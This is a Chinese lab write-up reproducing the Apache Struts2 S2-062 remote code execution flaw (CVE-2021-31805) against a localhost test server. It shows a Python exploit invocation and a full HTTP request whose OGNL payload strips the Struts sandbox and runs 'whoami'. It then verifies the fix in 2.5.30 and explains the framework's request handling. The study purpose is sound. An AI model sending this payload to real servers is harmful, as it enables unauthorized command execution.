struts2 漏洞编号:

远程代码执行漏洞S2-062(CVE-2021-31805)

受影响版本

  • 2.0.0 <= Apache Struts <= 2.5.29

不受影响版本

  • Apache Struts >= 2.5.30

报告时间

2022-04-12

修复时间

2022-04-14

攻击漏洞依赖jetty容器启动,tomcat容器启动没有回显命令,如下图:

执行结果如下图:

1
2
cd ~/config/python/struts/s2-062-main/
python3 s2-062.py --url http://localhost:8083/ --cmd pwd

shell命令被执行了

python的exp脚本github地址: https://github.com/vulhub/vulhub

使用BurpSuite复现struts2 s2-062漏洞

拦截请求修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST / HTTP/1.1
Host: localhost:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1100

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

输出shell执行结果:

由于idea项目设置的原因吧,直接升级struts-core的jar版本会导致服务一系列找不到,重新复制新建了一个项目,将struts-core升级到了2.5.30,依然用jetty启动项目,如下图:

升级之后的靶场项目:

shell命令没有被执行,正常输出了输入的内容.

将刚才执行shell命令的项目,把容器服务替换成tomcat后启动.

还是用刚才的python命令执行,shell命令没有被执行输出

问题: 禁用org.apache.commons.collection.BeanMap设置的方式没有确定怎么设置.

struts2框架介绍,整个输入输出过程:

过程描述:

1
2
3
4
5
首先当 struts2 项目启动时,会先加载 web.xml ,由其中定义的入口程序 StrutsPrepareAndExecuteFilter 进行容器的初始化以及转发我们的请求。由其中的 init 函数进行初始化,加载配置文件信息,对内置对象进行创建及缓存,创建接下来 struts2 操作的运行环境。
由 doFilter 函数中对封装成 HttpServletRequest 的 http 请求进行预处理以及转发执行。
在这期间 struts2 需要知道这个请求具体由哪个 action 的哪个方法处理,那么在 doFilter 中,在这里会进行请求和 action 之间的映射,具体为根据输入的 url 截取相关信息存入 org.apache.struts2.dispatcher.mapper.ActionMapping 对象属性中,属性包括了请求的 action 、method 、param 、namespace 等(也就是图中的第 3 步)。当然不一定请求的 action ,比如请求 jsp 文件等,那么 ActionMapping 映射为空,则不由 struts2 转发处理。不为空则由 ActionProxy 根据 ActionMapping 映射信息以及 ConfigurationManager 配置信息,找到我们具体要访问的 Action 类(也是图中的 6、7 步)。接着通过 ActionProxy 创建 ActionInvocation 实例,由 ActionInvocation 实例调度访问 Action 。
在访问 Action 之前,会先执行一个拦截器栈,在拦截器栈中会对请求进行一些处理,比如在 ParametersInterceptor 中将参数通过 setter 、getter 方法对 Action 的属性赋值,在 ConversionErrorInterceptor 中对参数类型转换出错时进行拦截处理等。
接下来才会去访问 Action 类。执行完成返回一个结果,结果可能是视图文件,也有可能是去访问另一个 action ,那么如果是访问另一个 action 就重新进行映射,由 ActionProxy 创建 ActionInvocation 进行调度等,如果是返回一个视图文件,那么逆序拦截器栈执行完,最终通过 HTTPServletResponse 返回响应。

ognl语法能将字符串解析成对象,所以可以利用ognl的解析语法注入可以执行脚本命令语法的对象就行执行调用.

ognl命令执行漏洞产生的位置:

struts2的防护机制:

具体参见https://paper.seebug.org/1575/的第四章节

参考博客:

https://cloud.tencent.com/developer/article/2017483 –Struts2-062_RCE简单复现(CVE-2021-31805)

https://paper.seebug.org/1575/ –Struts2框架整体的执行原理,以及Struts2设置的沙箱机制

https://www.anquanke.com/post/id/169735 –Struts2框架整体的执行原理,以及Struts2设置的沙箱绕过机制

https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/ –Struts2沙箱绕过机制